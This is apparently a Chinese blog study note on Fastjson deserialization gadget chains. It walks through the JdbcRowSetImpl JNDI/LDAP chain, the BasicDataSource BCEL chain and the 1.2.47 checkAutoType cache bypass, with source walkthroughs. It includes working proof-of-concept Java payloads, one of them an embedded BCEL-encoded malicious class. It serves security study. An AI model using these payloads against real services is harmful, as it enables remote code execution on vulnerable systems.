FastJson提供了快速、高效地将JSON数据解析为Java对象,或者将Java对象转换为JSON格式的字符串的能力。FastJson具有简单易用、性能优异等特点,广泛应用于Java开发中处理JSON数据的场景。可能是为了满足更多的功能化需要,所以Fastjson在解析的时候允许动态的实例化类,可以使用@type标签能够根据这个字段的值确定要实例化的对象类型,完成反序列化的需求,会自动调用@type标签中的setter、getter方法。

Java反序列化笔记_第33张图片

可以看到是通过循环遍历的方式,分别遍历了set方法、公开或静态的成员变量和get方法,但是可以看到并不是所有的get方法都能够被调用,只有这个get方法是Map、Collection、AtomicLong等等的这些类型或者是无参数的公共无返回值get()方法,或公共有参的get()方法,参数类型与对应字段类型一致。

既然我们知晓Fastjson能够调用所有的set方法以及满足条件的get方法,因此就可以寻找一些链子即某些类中的set或get方法能够进行恶意类的加载等形式造成危害。

JdbcRowSetImpl链(出网)

JdbcRowSetImpl链主要是因为JdbcRowSetImpl的connection方法中存在lookup()方法,而lookup()方法中的参数this.getDataSourceName()刚好可以通过set方法来进行控制,并且继续往上找,找到了setAutoCommit方法刚好又调用了connect()方法,因此这样就可以通过lookup()进行loadClass()恶意动态加载类导致命令执行。

package com.example.demo;

import com.alibaba.fastjson.JSON;


import java.sql.SQLException;

public class FastJsonImpl {
    public static void main(String[] args ) throws SQLException {
        String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/SsrCwcTP\",\"autoCommit\":false}";
        JSON.parseObject(s);

    }
}

Java反序列化笔记_第34张图片

Java反序列化笔记_第35张图片

先自动调用了setDataSourceName()方法,设置dataSource的值为ldap加载的恶意服务,用于lookup()接口动态加载类

Java反序列化笔记_第36张图片

通过setAutoCommit方法去调用connect()方法,传入的参数var1要为false

Java反序列化笔记_第37张图片

进入了connect方法通过lookup接口调用ldap,通过了DirectoryManager管理器以及工厂类动态实例化了恶意的类,造成了恶意代码的执行。

BasicDataSource链(不出网)

前面我们说的JdbcRowSetImpl链很明显是出网的,而BasicDataSource链子可以在不出网的情况下使用,我们先上示例再进行分析。

package com.example.demo;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("A:\\IDEA\\IdeaProjects\\untitled\\src\\RMIjndi\\Test.class");
        String code = Utility.encode(bytes,true);
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(s);
    }

    private static byte[] convert(String filePath) throws IOException {
        File file = new File(filePath);

        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到:" + filePath);
        }
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}


Java反序列化笔记_第38张图片

这里首先会自动getConnection()方法去触发调用createDataSource()方法

Java反序列化笔记_第39张图片

createDataSource()方法中如果dataSource为空就会调用createConnectionFactory()方法,而关键就在于这个方法中。

Java反序列化笔记_第40张图片

这个方法中通过Class.forName()方法进行了调用,并且driverClassName是通过setDriverName()可控制,而且ClassLoader也是通过setdriverClassLoader()也是可控的,可以指定动态类加载器,而forName的底层就是调用loadClass(),因此这里指定了bcel中的Classloader(),就会自动去调用里面的loadClass()。

Java反序列化笔记_第41张图片

可以看到这里的loadClass通过defineClass定义了一个类,而要进入这个方法的前提是调用createClass(),因此必须以$ B C E L BCEL BCEL开头,进入createClass()可以看到使用了decode()解码,因此事先要使用同样的encode()编码。

Java反序列化笔记_第42张图片

最后读取了字节流后就定义了恶意的class的字节码,转化为Java类后生成了我们自定义的恶意Class对象,返回给了driverFromCCL。

Java反序列化笔记_第43张图片

driverFromCCL通过构造器构造后进行了实例化,导致了RCE的执行。

这里可能存在疑惑,为什么getConnection方法会被调用?因为这里使用的是parseObject()方法,parseObject()会额外的将Java对象转为JSONObject对象,即调用JSON.toJSON(),在处理过程中会调用get()方法将参数赋值给JSONObject,相等于会调用所有的set()和get()方法。

那加入使用prase()能不能调用到getConnection()呢?其实也是可以的,当这里的key为JSONObject对象对象的时候,会调用JSONObject对象的toString()方法,而JSONObject是Map的子类,所以会调用该类的get()方法进行取值。
file

Java反序列化笔记_第44张图片

package com.example.demo;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
public class test {
    public static void main(String[] args) throws IOException {
        //生成我们需要的bcel格式
        JavaClass cls = Repository.lookupClass(evil.class);//将class对象表示java字节码的对象javaclass
        String code = Utility.encode(cls.getBytes(), true);//将java字节码对象javaclass转化为JavaClass格式的字节码
        System.out.println("$$BCEL$$" + code);

        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$C1$U$3d$85$91$81qP$k$o$be$8d$x$c1$85$b3q$871$sF$T$93$89$Y1$b8$$$a5$c1$92$99$v$99$Z$I$bf$e5F$8d$L$3f$c0$8f2$de$a2A$Sm$d3$9e$9cs$ef$b9$b7$8f$8f$cf$b7w$A$t$d8w$90C$c5A$Vky$d4$M$ae$db$a8$db$d8$60$c8$9d$aaH$a5g$M$d9F$b3$cb$60$5d$e8$bedX$f5U$qo$c6aO$c6$f7$bc$X$90R$f1$b5$e0A$97$c7$ca$f0$l$d1J$lU$c2P$f7$85$O$3d9$e5$e1$u$90$5e_$86$da$93$T$V$b4$Y$9c$cb$a9$90$a3T$e9$u$b1$b1I$bc$a3$c7$b1$90W$ca$b8$L$s$e9x$c8$t$dc$85$8d$bc$8d$z$X$db$d8$a1$b2$d4I$b8$d8$c5$kC$ed$df$d2$M$r$e3$f3$C$k$N$bcvo$uE$caP$9dIJ$7b$d7$edy$5b$86$f2o$e2$dd8JUH$9d$9d$81L$e7$a4$d6h$fa$7fr$e8$ec$96$9cJ$c1p$d8X$88v$d2XE$83$d6$a2$e16$d6B$sI$L$HX$a2W6$83$d1$a4$L$n$83$C$b1sBF$b8r$f4$C$f6$8aL$r$fb$M$eb$e1$89$94$M$i$a3$pK$7b$O$Wy$8a$e4Z$s$e6$7e$3b$I$8b3$EE$e9Wh$95f$be$f2$X9f$a4$c0$db$B$A$A\n\"\n" +
                "        }\n" +
                "    }:\"xxx\"\n" +
                "}\n";
        JSON.parse(poc);
    }
}


这里@{type:…org.apache.tomcat.dbcp.dbcp2.BasicDataSource…}最外层再套一层{}就会使得整一个是JSONObject,当成了key。

FastJson <=1.2.47绕过

针对前面的漏洞,FastJson官方也是做了一定的修复,修复的主要方式就是加了一个checkAutoType()方法,可能是因为Fastjson要处理的逻辑足够复杂,所以修复的也并不完美,造成了能够绕过的情况。

Java反序列化笔记_第45张图片

可以大致看一下autoType的代码:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        if (clazz != null) {
            if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }


根据修复的代码可以做一个大致的流程图:

Java反序列化笔记_第46张图片

从流程图可以看到,修复的代码中是存在从类缓存中Mappings中获取类的操作,即TypeUtils.getClassFromMapping的操作,如果我们可以在类似的这些地方提前让它返回恶意的类,即可完成绕过,我们进去看一下。

file

我们找一下这个mappings在那些函数和类中会被使用,发现其实都在TypeUtils中,但是这里在LoadClass方法中被使用了。

Java反序列化笔记_第47张图片

我们大致看一下这个loadClass的关键代码,如果mappings中获取不到className,并且classLoader存在,就会调用loadClass加载类,并且参数cache会true,就会将clazz放入到缓存中。

Java反序列化笔记_第48张图片

继续往上走,看看谁调用了这个loadClass,并且可以控制这个函数里面的参数,会查找了MiscCodec类中,这个类继承于ObjectSerializer与ObjectDeserializer,在类中的deserialze()方法调用了loadClass,当clazz=Class.class的时候。

file

什么时候会调用MiscCodec.deserialze(),其实在Fastjson进行序列化初始化的时候,就已经把这个类给放进去了,它也正是Class.class这个类。

Java反序列化笔记_第49张图片

所以在第一轮进入checkAutoType出来之后,就会来到getDeserializer()方法中,如果传入的clazz为Class.class就会获取到MiscCode反序列化器,往下走就会调用MiscCode类中的deserialize方法

Java反序列化笔记_第50张图片

传入的json中必须存在val的键,否则会抛出参数错误的异常,随后经过了parse.parse(),会将objVal解析成val的值,即我们填入的恶意类,随后就会调用loadClass()方法,传入strVal和默认null的类加载器。

Java反序列化笔记_第51张图片

调用loadClass()方法,会先从mappings中取className,取不到为空,会进行判断是否以[或L开头,是分别进入各自判断,这里都不是,并且classLoader为空,缓存为true,就会将val的类放入到mappings缓存中,并返回类。

返回之后就会到MiscCode的反序列化方法中,返回val值的那个类给obj。

Java反序列化笔记_第52张图片

第二次加载的会再进入autotype中,这时候缓存中已经有了我们构造的类,就能从缓存中获取直接返回JdbcRowSetImpl类,然后就进入了JdbcRowSetImpl的那条链子中。

Java反序列化笔记_第53张图片

总结

持续学习更新。

你可能感兴趣的:(java,web安全)